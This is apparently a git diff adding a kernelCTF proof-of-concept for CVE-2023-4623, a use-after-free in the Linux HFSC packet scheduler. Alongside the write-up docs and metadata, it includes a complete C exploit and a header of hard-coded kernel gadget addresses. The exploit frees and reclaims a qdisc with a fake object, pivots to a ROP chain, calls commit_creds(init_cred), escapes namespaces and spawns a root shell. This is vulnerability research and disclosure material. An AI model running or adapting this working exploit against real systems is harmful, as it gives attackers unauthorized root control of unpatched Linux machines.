diff --git a/pocs/linux/kernelctf/CVE-2023-4623_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/docs/exploit.md new file mode 100644 index 000000000..06ff0568a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/docs/exploit.md @@ -0,0 +1,100 @@ +## Setup + +To trigger the vulnerability we need to create following configuration on the loopback interface: + +``` +qdisc hfsc 1: dev lo root refcnt 2 default 10 +class hfsc 1: root +class hfsc 1:1 parent 1: rt m1 2Kbit d 8us m2 800bit +class hfsc 1:10 parent 1:1 ls m1 2Kbit d 8us m2 800bit +class hfsc 1:2 parent 1: ls m1 2Kbit d 8us m2 800bit +``` + +Classes marked as 'ls' are link-sharing (have HFSC_FSC flag set) + +The last class is not required for the actual triggering, but will help with the exploitation, as explained below. + +## Triggering the vulnerability + +The first step is to send a packet on the loopback interface. There are no filters, so the packet will be classified to the default 1:10 class and enqueued there. +This will cause the class 1:10 to be inserted into the vttree of 1:1 and class 1:1 to be inserted into the vttree of the root class. +Then hfsc_dequeue() will be called and will call update_vf() which will remove class 1:10 from vttree of 1:1, but will skip 1:1 (no HFSC_FSC) flag, so 1:1 will remain in the vttree of the root class. + + +The second step is to remove classes 1:10 and 1:1. +Their removal will trigger freeing of the associated qdisc objects (after an RCU delay). + +We then reclaim the freed qdisc memory using a netlink allocation primitive. +When a message is sent on a netlink socket (or any socket for that matter) a buffer for the message data is allocated using kmalloc(). +This primitive has an advantage of not having any reserved space at the beginning, which is important to us because qdisc object looks like this: +``` +struct Qdisc { + int (*enqueue)(struct sk_buff *, struct Qdisc *, struct sk_buff * *); /* 0 0x8 */ + struct sk_buff * (*dequeue)(struct Qdisc *); /* 0x8 0x8 */ + unsigned int flags; /* 0x10 0x4 */ +... +``` + + +We need to control the first 16 bytes to get easy code execution. + +Next, we delete class 1:2 and add a new 1:10 class. + +Then we send another packet. It will get enqueued to the newly created 1:10 class and hfsc_dequeue() will be called. +hfsc_dequeue() calls vttree_get_minvt() to select the class for the packet to be dequeued from. +vttree_get_minvt() traverses the vttree starting from the qdisc's root and will find a pointer to the old 1:10 class that was freed. +The contents of that memory were not changed and it still has a pointer to the old qdisc, which is now replaced by our fake object. + +That's why we needed the 1:2 class to be deleted - without this step, the new 1:10 class would get the same memory as the previously freed 1:10, fixing the dangling pointer. + +## Getting RIP control + +After vttree_get_min_vt() returns the pointer to the freed class, qdisc_dequeue_peeked() will be called with the pointer to our fake object and eventually ->dequeue() function pointer will be called. + +## Pivot to ROP + +When ->dequeue() is called, RDI contains a pointer to the qdisc object, which is under our control. + +Following gadgets are used to transfer control to our ROP: + +``` + mov rax, qword ptr [rdi] + mov rbx, rdi + call __x86_indirect_thunk_rax +``` + + +``` + lea rsi, [rbx + 0x48] + test eax, eax + jg 0xffffffff81204d3a + mov rax, qword ptr [rbx + 0x30] + lea rdi, [rsp + 8] + call __x86_indirect_thunk_rax +``` + + +``` + push rsi + jmp qword ptr [rsi + 0x66] +``` + +and finally + +``` + pop rsp + ret +``` + +### Second pivot + +At this point we have full ROP, but there is not much space left, because most of our 512 byte buffer is taken by the skb_shared_info placed at the end. + +To solve this we choose an unused read/write area in the kernel and use copy_user_generic_string() to copy the second stage ROP from userspace to that area. +Then we use a `pop rsp ; ret` gadget to pivot there. + +## Privilege escalation + +The second stage of the ROP does the standard commit_creds(init_cred); switch_task_namespaces(pid, init_nsproxy); sequence and returns to the userspace. + + diff --git a/pocs/linux/kernelctf/CVE-2023-4623_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/docs/vulnerability.md new file mode 100644 index 000000000..2970da087 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/docs/vulnerability.md @@ -0,0 +1,26 @@ +## Requirements to trigger the vulnerability + +- CAP_NET_ADMIN in a namespace is required +- Kernel configuration: CONFIG_NET_SCH_HFSC +- User namespaces required: Yes + +## Commit which fixed the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b3d26c5702c7d6c45456326e56d2ccf3f103e60f + +## Affected kernel versions + +Introduced in 2.6.3. Fixed in 6.1.52 and other stable trees. + +## Affected component, subsystem + +net/sched: sch_hfsc + +## Description + +HFSC is a classful scheduler and its classes can be created with different flags affecting the scheduler behaviour. + +When a packet is enqueued to a class with the HFSC_FSC (link-sharing enabled) flag, the class is inserted into the parent class tree in init_vf()/vttree_insert(). +Normally, the parent also has the HFSC_FSC flag and the class is removed from the parent in the update_vf()/vttree_remove() during packet dequeue operation. +However, if the parent has no link-sharing flag it is skipped in tree traversal in update_vf() and the child class is still referenced in the parent tree. +If an attacker deletes the child class a use-after-free condition can be triggered during enqueue/dequeue operations. diff --git a/pocs/linux/kernelctf/CVE-2023-4623_mitigation/exploit/mitigation-6.1/Makefile b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/exploit/mitigation-6.1/Makefile new file mode 100644 index 000000000..b6640b43c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/exploit/mitigation-6.1/Makefile @@ -0,0 +1,9 @@ +INCLUDES = -I/usr/include/libnl3 +LIBS = -L. -pthread -lnl-cli-3 -lnl-route-3 -lnl-3 -ldl +CFLAGS = -fomit-frame-pointer -static -fcf-protection=none + +exploit: exploit.c + gcc -o $@ exploit.c $(INCLUDES) $(CFLAGS) $(LIBS) + +prerequisites: + sudo apt-get install libnl-cli-3-dev libnl-route-3-dev diff --git a/pocs/linux/kernelctf/CVE-2023-4623_mitigation/exploit/mitigation-6.1/exploit b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/exploit/mitigation-6.1/exploit new file mode 100755 index 000000000..981e20fa3 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/exploit/mitigation-6.1/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-4623_mitigation/exploit/mitigation-6.1/exploit.c b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/exploit/mitigation-6.1/exploit.c new file mode 100644 index 000000000..c980c1408 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/exploit/mitigation-6.1/exploit.c @@ -0,0 +1,752 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "kernelver_mitigation-6.1-v2.h" + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; + +int setup_namespaces() +{ + char *uid_map; + char *gid_map; + int ret, map; + uid_t uid = getuid(); + uid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER|CLONE_NEWNET|CLONE_NEWNS)) { + perror("unshare"); + exit(1); + } + + map = open("/proc/self/setgroups", O_WRONLY); + ret = write(map, "deny", 4); + + if (ret < 4) { + perror("setgroups write"); + exit(1); + } + + close(map); + + asprintf(&uid_map, "0 %d 1\n", uid); + size_t len = strlen(uid_map); + + map = open("/proc/self/uid_map", O_WRONLY); + + ret = write(map, uid_map, len); + + if (ret < len) { + perror("uid map write"); + exit(1); + } + close(map); + + asprintf(&gid_map, "0 %d 1\n", gid); + map = open("/proc/self/gid_map", O_WRONLY); + ret = write(map, gid_map, len); + + if (ret < len) { + perror("gid map write"); + exit(1); + } + + close(map); + + if (mount("tmpfs", "/tmp", "tmpfs", 0, NULL)) { + perror("mount"); + exit(1); + } + +} + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x8000 + +static int g_pwned; + +void __attribute__((naked)) after_pwn() +{ +// Fix user stack since we didn't do when returning from kernel mode + asm volatile( + "mov %0, %%rsp\n" + :: "r" (g_mmapped_buf + MMAP_SIZE - 0x100) + ); + + g_pwned = 1; + + + set_cpu(1); + + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + + + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + +/* Netlink code based on syzcaller generated snippets */ +struct nlmsg { + char* pos; + int nesting; + struct nlattr* nested[8]; + char buf[0x30000]; +}; + +static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, + const void* data, int size) +{ + memset(nlmsg, 0, sizeof(*nlmsg)); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_type = typ; + hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; + memcpy(hdr + 1, data, size); + nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); +} + +static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, + int size) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + // printf("attr size: %d\n", size); + + attr->nla_len = sizeof(*attr) + size; + + if (nlmsg->pos - nlmsg->buf + attr->nla_len > sizeof(nlmsg->buf)) + errx(1, "Netlink buffer overflow, increase size in struct nlmsg\n"); + + attr->nla_type = typ; + if (size > 0) + memcpy(attr + 1, data, size); + nlmsg->pos += NLMSG_ALIGN(attr->nla_len); +} + +static void netlink_nest(struct nlmsg* nlmsg, int typ) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + attr->nla_type = typ | NLA_F_NESTED; + nlmsg->pos += sizeof(*attr); + nlmsg->nested[nlmsg->nesting++] = attr; +} + +static void netlink_done(struct nlmsg* nlmsg) +{ + struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; + + if (nlmsg->pos - (char *) attr > 0xffff) + errx(1, "Netlink attribute max size exceeded\n"); + + attr->nla_len = nlmsg->pos - (char*)attr; +} + +static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, + int* reply_len, bool dofail) +{ + if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) + err(1, "netlink_send_ext error"); + + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; + + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + + ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, + (struct sockaddr*)&addr, sizeof(addr)); + + if (n != (ssize_t)hdr->nlmsg_len) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); + if (reply_len) + *reply_len = 0; + + if (n < 0) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (n < (ssize_t)sizeof(struct nlmsghdr)) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type == NLMSG_DONE) + return 0; + + if (reply_len && hdr->nlmsg_type == reply_type) { + *reply_len = n; + return 0; + } + if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type != NLMSG_ERROR) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + errno = -((struct nlmsgerr*)(hdr + 1))->error; + return -errno; +} + +static int netlink_send(struct nlmsg* nlmsg, int sock) +{ + return netlink_send_ext(nlmsg, sock, 0, NULL, false); +} + +/* End of syzkaller code */ + + +static struct nlmsg nlmsg; +struct nl_cache *g_link_cache; +static struct nl_sock *g_nl_sock; + +static void netlink_device_change(struct nlmsg* nlmsg, int sock, + const char* name, bool up, const char* master, + const void* mac, int macsize, + const char* new_name) +{ + struct ifinfomsg hdr; + memset(&hdr, 0, sizeof(hdr)); + + if (up) + hdr.ifi_flags = hdr.ifi_change = IFF_UP; + + hdr.ifi_index = if_nametoindex(name); + + netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); + + if (new_name) + netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); + + if (master) { + int ifindex = if_nametoindex(master); + netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); + } + + if (macsize) + netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); + + netlink_send(nlmsg, sock); +} + +static void setup_network(char *link_name) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) + exit(1); + + netlink_device_change(&nlmsg, sock, "lo", true, 0, NULL, 0, link_name); + + close(sock); + + g_nl_sock = nl_cli_alloc_socket(); + nl_cli_connect(g_nl_sock, NETLINK_ROUTE); + g_link_cache = nl_cli_link_alloc_cache(g_nl_sock); +} + +void add_qdisc_hfsc(uint32_t handle, uint32_t parent, uint32_t defcls, bool edit) +{ + struct rtnl_qdisc *qdisc; + struct rtnl_tc *tc; + int err, flags = 0; + char *kind, *id = NULL; + + if (!edit) + flags = NLM_F_CREATE | NLM_F_EXCL | NLM_F_REPLACE; + + qdisc = nl_cli_qdisc_alloc(); + tc = (struct rtnl_tc *) qdisc; + + nl_cli_tc_parse_dev(tc, g_link_cache, "lo"); + + if (parent) + rtnl_tc_set_parent(tc, parent); + else + nl_cli_tc_parse_parent(tc, "root"); + + if (!rtnl_tc_get_ifindex(tc)) + nl_cli_fatal(EINVAL, "You must specify a network device (--dev=XXX)"); + + if (!rtnl_tc_get_parent(tc)) + nl_cli_fatal(EINVAL, "You must specify a parent"); + + + rtnl_tc_set_handle(tc, handle); + + rtnl_tc_set_kind(tc, "hfsc"); + + + rtnl_qdisc_hfsc_set_defcls(qdisc, defcls); + + if ((err = rtnl_qdisc_add(g_nl_sock, qdisc, flags)) < 0) + nl_cli_fatal(EINVAL, "Unable to add qdisc: %s", nl_geterror(err)); + +} + + +void add_class_hfsc(int clid, uint32_t parent, bool is_fsc) +{ + struct rtnl_class *class; + struct rtnl_tc *tc; + struct nl_cli_tc_module *tm; + int err, flags = NLM_F_CREATE | NLM_F_EXCL; + struct tc_service_curve tsc; + + class = nl_cli_class_alloc(); + tc = (struct rtnl_tc *) class; + + nl_cli_tc_parse_dev(tc, g_link_cache, "lo"); + + + + if (parent) + rtnl_tc_set_parent(tc, parent); + else + rtnl_tc_set_parent(tc, TC_H_MAJ(clid)); + + rtnl_tc_set_kind(tc, "hfsc"); + + tsc.m1 = 250; + tsc.d = 8; + tsc.m2 = 100; + if (is_fsc) + rtnl_class_hfsc_set_fsc(class, &tsc); + else + rtnl_class_hfsc_set_rsc(class, &tsc); + + rtnl_tc_set_handle(tc, clid); + + if ((err = rtnl_class_add(g_nl_sock, class, flags)) < 0) + nl_cli_fatal(EINVAL, "Unable to add class: %s", nl_geterror(err)); + + +} + +void delete_class(uint32_t handle, uint32_t parent) +{ + struct tcmsg hdr; + struct nlmsg nlmsg; + + int flags = 0; + + memset(&hdr, 0, sizeof(hdr)); + + hdr.tcm_family = AF_UNSPEC; + hdr.tcm_ifindex = 1; + hdr.tcm_parent = parent; + hdr.tcm_handle = handle; + + netlink_init(&nlmsg, RTM_DELTCLASS, flags, &hdr, sizeof(hdr)); + + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) { + perror("netlink sock"); + exit(1); + } + + int err = netlink_send(&nlmsg, sock); + + close(sock); +} + + +static char *g_rop2; +#define ROP2_CONST_AREA 0x10 +#define ROP2_CONST_OFFSET 0x200 + + +void rop_rax2rdi(uint64_t **rop_p) +{ + uint64_t *rop = *rop_p; + + *(uint64_t *) (g_rop2+ROP2_CONST_OFFSET) = kaddr(POP_RDI); // RCX == RW_BUFFER + +// rax -> rdi + *rop++ = kaddr(POP_RCX); + *rop++ = kaddr(RW_BUFFER+ROP2_CONST_OFFSET); + *rop++ = kaddr(PUSH_RAX_JMP_QWORD_RCX); + + *rop_p = rop; +} + +size_t prepare_rop2(uint64_t *rop2) +{ + uint64_t *rop2_start = rop2; + + *rop2++ = kaddr(POP_RDI); + *rop2++ = kaddr(INIT_CRED); + *rop2++ = kaddr(COMMIT_CREDS); + + // Namespace escape based on code by Crusaders of Rust + *rop2++ = kaddr(POP_RDI); + *rop2++ = 1; + *rop2++ = kaddr(FIND_TASK_BY_VPID); + + rop_rax2rdi(&rop2); // clobbers RCX + + *rop2++ = kaddr(POP_RSI); + *rop2++ = kaddr(INIT_NSPROXY); + + *rop2++ = kaddr(SWITCH_TASK_NAMESPACES); + + *rop2++ = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX); +// eflags + *rop2++ = 0; + rop2 += 6; + +// Userspace RIP + *rop2++ = (uint64_t) after_pwn; + + *rop2++ = kaddr(RETURN_VIA_SYSRET); + + return (char *) rop2 - (char *) rop2_start; +} + +void prepare_fake_qdisc(char *buf) +{ +/* + lea rsi, [rbx + 0x48] + test eax, eax + jg 0xffffffff81204d3a + mov rax, qword ptr [rbx + 0x30] + lea rdi, [rsp + 8] + call __x86_indirect_thunk_rax +*/ + *(uint64_t *) (buf+0) = kaddr(G2); + +// ->dequeue() +/* + mov rax, qword ptr [rdi] + mov rbx, rdi + call __x86_indirect_thunk_rax +*/ + *(uint64_t *) (buf+8) = kaddr(G1); + + *(uint64_t *) (buf + 0x30) = kaddr(PUSH_RSI_JMP_QWORD_RSI_0x66);; + *(uint64_t *) (buf + 0x48 + 0x66) = kaddr(POP_RSP); + + uint64_t *rop = (uint64_t *) (buf+0x48); + uint64_t *rop_start = rop; + + +#define ROP2_MMAP_SIZE 0x4000 + g_rop2 = mmap(NULL, ROP2_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_rop2 == MAP_FAILED) + err(1, "mmap"); + + size_t rop2_len = prepare_rop2((uint64_t *) g_rop2); + + if (rop2_len > ROP2_CONST_OFFSET) + err(1, "Stage 2 ROP size too big: %d > %d\n", rop2_len, ROP2_CONST_OFFSET); + + *rop++ = kaddr(POP_RSI_RDI); + *rop++ = (uint64_t) g_rop2; + *rop++ = kaddr(RW_BUFFER); + *rop++ = kaddr(POP_RDX); + *rop++ = ROP2_CONST_OFFSET + ROP2_CONST_AREA; + + *rop++ = kaddr(COPY_USER_GENERIC_STRING); + +// jump over 0x80 - gso_skb must be null + *rop++ = kaddr(POP_RSI_RDI); + rop += 2; + + *rop++ = kaddr(POP_RSP); + *rop++ = kaddr(RW_BUFFER); + *rop++ = kaddr(POP_RDI+1); // ret + + int rop_len; + if ((rop_len = ((uint64_t) rop - (uint64_t) rop_start)) > 0x66) + err(1, "Stage 1 ROP too long: 0x%x\n", rop_len); +} + +int prepare_netlink_listener(unsigned int port_id) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK); + if (sock == -1) { + err(1, "socket netlink\n"); + } + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + addr.nl_pid = port_id; + if (bind(sock, (struct sockaddr*)&addr, sizeof(addr))) + err(1, "bind netlink fail\n"); + + return sock; +} + +int alloc_netlink(size_t len, char *buf) +{ + static unsigned int port_id = 0x6666; + + if (len <= 0x140) + err(1, "alloc_netlink: len too small\n"); + + int listener_sock = prepare_netlink_listener(port_id); + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK); + if (sock == -1) { + err(1, "socket netlink\n"); + } + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + addr.nl_pid = port_id++; + + ssize_t n = sendto(sock, buf, len - 0x140, MSG_DONTWAIT, (struct sockaddr*)&addr, sizeof(addr)); + + if (n < 0) + err(1, "sendto netlink\n"); + + return listener_sock; +} + + +int setup_packetsock() +{ + int ret; + int sock = socket(AF_PACKET, SOCK_RAW, htons(0x1234)); + + if (sock < 0) { + perror("socket"); + exit(1); + } + + struct sockaddr_ll my_addr; + struct ifreq s_ifr; + + strcpy(s_ifr.ifr_name, "lo"); + + ioctl(sock, SIOCGIFINDEX, &s_ifr); + +/* fill sockaddr_ll struct to prepare binding */ + my_addr.sll_family = AF_PACKET; + my_addr.sll_protocol = htons(0x1234); + my_addr.sll_ifindex = s_ifr.ifr_ifindex; + my_addr.sll_halen = ETH_ALEN; + + char dstaddr[ETH_ALEN] = {0xff,0xff,0xff,0xff,0xff,0xff}; + memcpy(&my_addr.sll_addr, dstaddr, ETH_ALEN); + +/* bind socket to eth0 */ + ret = bind(sock, (struct sockaddr *)&my_addr, sizeof(struct sockaddr_ll)); + if (ret < 0) { + perror("bind"); + exit(1); + } + + return sock; +} + +int main(int argc, char **argv) +{ + int ret; + + printf("Using default kernel base\n"); + + g_kernel_text = 0xffffffff81000000uL; + + printf("Kernel base: 0x%lx\n", g_kernel_text); + setbuf(stdout, NULL); + + setup_namespaces(); + + g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + srand(time(NULL)); + + set_cpu(0); + + setup_network(NULL); + + add_qdisc_hfsc(0x10000, 0, 0x10010, false); + + add_class_hfsc(0x10001, 0x10000, false); + add_class_hfsc(0x10010, 0x10001, true); + + add_class_hfsc(0x10002, 0x10000, true); + + int psock = setup_packetsock(); + char buf[0x29]; + memset(buf, 'B', sizeof(buf)); + ret = send(psock, buf, sizeof(buf), MSG_DONTWAIT); + if (ret < 0) + perror("send"); + + delete_class(0x10010, 0x10001); + delete_class(0x10001, 0x10000); + + sleep(2); + + prepare_fake_qdisc(g_mmapped_buf); + + for (int i = 0; i < 32; i++) + { + alloc_netlink(512, g_mmapped_buf); + } + + delete_class(0x10002, 0x10000); + add_class_hfsc(0x10010, 0x10000, true); + + ret = send(psock, buf, sizeof(buf), MSG_DONTWAIT); + if (ret < 0) + perror("send"); + + + if (!g_pwned) { + printf("Failed to trigger vuln, try again!\n"); + _exit(0); + } + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-4623_mitigation/exploit/mitigation-6.1/kernelver_mitigation-6.1-v2.h b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/exploit/mitigation-6.1/kernelver_mitigation-6.1-v2.h new file mode 100644 index 000000000..bdfb2fe11 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/exploit/mitigation-6.1/kernelver_mitigation-6.1-v2.h @@ -0,0 +1,24 @@ +#define COPY_USER_GENERIC_STRING 0xffffffff81fd4820 +#define PUSH_RDI_JMP_QWORD_RSI_0F 0xffffffff81d4b7c8 +#define FIND_TASK_BY_VPID 0xffffffff8110a0d0 +#define POP_RCX 0xffffffff8102898c +#define POP_RSI_RDX_RCX 0xffffffff8102898a +#define SWITCH_TASK_NAMESPACES 0xffffffff81111c80 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff81260be4 +#define POP_RSI_RDI 0xffffffff819969e1 +#define POP_RDX_RDI 0xffffffff8180784b +#define AUDIT_SYSCALL_EXIT 0xffffffff811c2920 +#define RETURN_VIA_SYSRET 0xffffffff82200190 +#define MEMCPY 0xffffffff8204d0b0 +#define COMMIT_CREDS 0xffffffff811136f0 +#define POP_RSI 0xffffffff8201db98 +#define POP_RSP 0xffffffff81404820 +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff81028981 +#define POP_RDI 0xffffffff810d502c +#define POP_RDX 0xffffffff8106619d +#define RW_BUFFER 0xffffffff84700000 +#define INIT_CRED 0xffffffff836618c0 +#define INIT_NSPROXY 0xffffffff83661680 +#define G1 0xffffffff814b32a6 +#define G2 0xffffffff81204cf4 +#define PUSH_RSI_JMP_QWORD_RSI_0x66 0xffffffff81c77cd0 diff --git a/pocs/linux/kernelctf/CVE-2023-4623_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/metadata.json new file mode 100644 index 000000000..605e68154 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/metadata.json @@ -0,0 +1,30 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp102" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b3d26c5702c7d6c45456326e56d2ccf3f103e60f", + "cve": "CVE-2023-4623", + "affected_versions": [ + "2.6.3 - 6.1.52" + ], + "requirements": { + "attack_surface": [ + ], + "capabilities": [ + ], + "kernel_config": [ + "CONFIG_NET_SCH_HFSC" + ] + } + }, + "exploits": { + "mitigation-6.1": { + "uses": [ + ], + "requires_separate_kaslr_leak": true, + "stability_notes": "100% success rate" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-4623_mitigation/original.tar.gz b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/original.tar.gz new file mode 100644 index 000000000..1bed01647 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4623_mitigation/original.tar.gz differ